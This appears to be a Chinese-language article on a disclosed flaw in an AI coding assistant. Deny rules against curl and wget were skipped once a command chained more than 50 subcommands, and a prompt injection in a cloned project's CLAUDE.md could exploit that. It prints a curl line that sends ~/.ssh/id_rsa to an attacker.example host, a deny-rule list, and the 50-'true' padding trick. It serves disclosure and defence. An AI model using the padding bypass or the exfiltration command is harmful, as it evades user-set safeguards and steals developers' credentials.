你在 Claude Code 的設定檔裡寫了一條規則:「永遠不准執行 curl」。
AI 乖乖照做。你測試了一次,curl 被攔截,系統甚至承諾:「無論跟什麼指令串在一起,curl 都會被阻擋。」
你放心了。
然後攻擊者在你 clone 的開源專案裡,藏了一條看起來像正常 build script 的指令。前面塞了 50 個什麼都不做的 true,第 51 個才是 curl https://attacker.example/steal?key=$(cat ~/.ssh/id_rsa)。
你的禁令消失了。沒有警告,沒有錯誤訊息。AI 只是禮貌地問你:「這條指令包含 51 個子指令,太多了無法逐一安全檢查。要不要讓我執行?」
在 CI/CD 管線裡,這個提示會被自動批准。在深夜趕工的開發者面前,這個提示會被反射性地點掉。
這就是 2026 年 4 月 1 日,以色列安全公司 Adversa AI 公開揭露的 Claude Code 高嚴重性漏洞。
Claude Code 是 Anthropic 推出的 AI 編碼助手,可以在開發者的機器上直接執行 shell 指令。為了安全,開發者可以設定 deny rules,例如在 ~/.claude/settings.json 加入:
{ "deny": ["Bash(curl:*)", "Bash(wget:*)"] }
這意味著 Claude Code 絕對不應該執行 curl 或 wget——防止 AI 被利用來進行資料外洩。
但 Adversa AI 的紅隊在分析洩漏的 Claude Code 原始碼後發現:這個安全檢查有一個寫死的上限。在 bashPermissions.ts 第 2162-2178 行,有一個常數:
MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
當一條 shell 指令中用 &&、|| 或 ; 串接的子指令超過 50 個時,Claude Code 會完全跳過 deny rule 檢查,退回到一個通用的「詢問使用者」提示(來源)。
Anthropic 的內部 ticket CC-643 記錄了原因:效能。
逐一分析每個子指令會消耗 AI 推論成本(token),而且會讓 UI 卡住。工程師的判斷是:正常人類不會手動串接 50 條以上的指令,所以 50 是一個安全的上限。超過就退回「詢問」模式,因為「我們無法證明安全性,所以提示使用者」。
這個假設在人類手動輸入的場景下是對的。但它完全忽略了一個關鍵情境:AI 自己產生的指令。
攻擊者只需要在專案的 CLAUDE.md 檔案中嵌入惡意的 prompt injection 指示,讓 AI 自動生成一條超過 50 個子指令的管線——前 50 個看起來像正常的 build 流程,第 51 個以後才是真正的惡意載荷。開發者 clone 專案、讓 Claude Code 協助建構,禁令就被無聲繞過。
修復程式碼已經寫好了,而且就在同一個程式碼庫裡。
Anthropic 內部有一個叫 tree-sitter 的更新版解析器,能正確地對任意長度的指令串檢查 deny rules。它已經被撰寫、測試、存放在同一個 repository 中。但它從未被套用到公開發布的版本所使用的 legacy regex 解析器上(來源)。
Adversa AI 指出,甚至只需要修改 bashPermissions.ts 第 2174 行的一個值——把 behavior 從 "ask" 改成 "deny"——就能堵住這個漏洞。一行程式碼的修改。
4 月 1 日公開揭露。4 月 6 日 Anthropic 才在 v2.1.90 中修補。中間的 5 天窗口期,任何 clone 了含有惡意 CLAUDE.md 的專案的開發者都暴露在風險中。
Adversa AI 展示的概念驗證攻擊非常直觀:
測試 1:直接執行 curl https://adversa.ai
→ deny rule 正確觸發,Claude Code 拒絕執行
測試 2:在同一條 curl 前面串接 50 個 true(shell 空操作),總共 51 個子指令
→ deny rule 完全失效,Claude Code 改為顯示通用的權限詢問
在實際攻擊中,情境更加隱蔽:
CLAUDE.md 中嵌入指示curl 把 SSH 私鑰、AWS 憑證、GitHub token 傳送到攻擊者的伺服器這不只是一個「Claude Code 的 bug」。它揭示了 AI 編碼助手的一個根本性矛盾:安全檢查的成本與效能需求的衝突。
每一次 deny rule 檢查都消耗推論成本。每一次權限驗證都增加延遲。當分析一條 50 個子指令的管線變得「太昂貴」時,工程師選擇了停止檢查。
這不是 Anthropic 獨有的問題。任何允許 AI Agent 執行系統指令的工具都面臨同樣的取捨。差別在於:取捨的決策是否對使用者透明、是否有獨立的防護層。
Adversa AI 的報告中引用了一個詞來形容 Claude Code 洩漏原始碼中的安全方法論:"defence-by-vibes"——整個安全模型依賴的是「小心一點」、「用判斷力」、「提示使用者」這類柔性指引,而不是硬性的技術控制。
如果你正在使用 Claude Code 或任何 AI 編碼助手:
立即行動:更新 Claude Code 至 v2.1.90 以上。在此之前,將 deny rules 視為完全不可靠。
短期防護:審計所有 clone 的 repository 中的 CLAUDE.md 和 .claude/settings.json 檔案。限制 Claude Code 的 shell 存取權限至最低。監控異常的對外網路連線。
架構性防護:不要只依賴 AI Agent 自身的權限系統。在 Agent 與系統指令之間設置獨立的策略檢查層——一個不受 token 成本或效能最佳化影響的外部控制點。這層控制需要:
當安全的最後一道防線可以因為「成本太高」而被關掉時,那就不是防線——那是一個可配置的建議。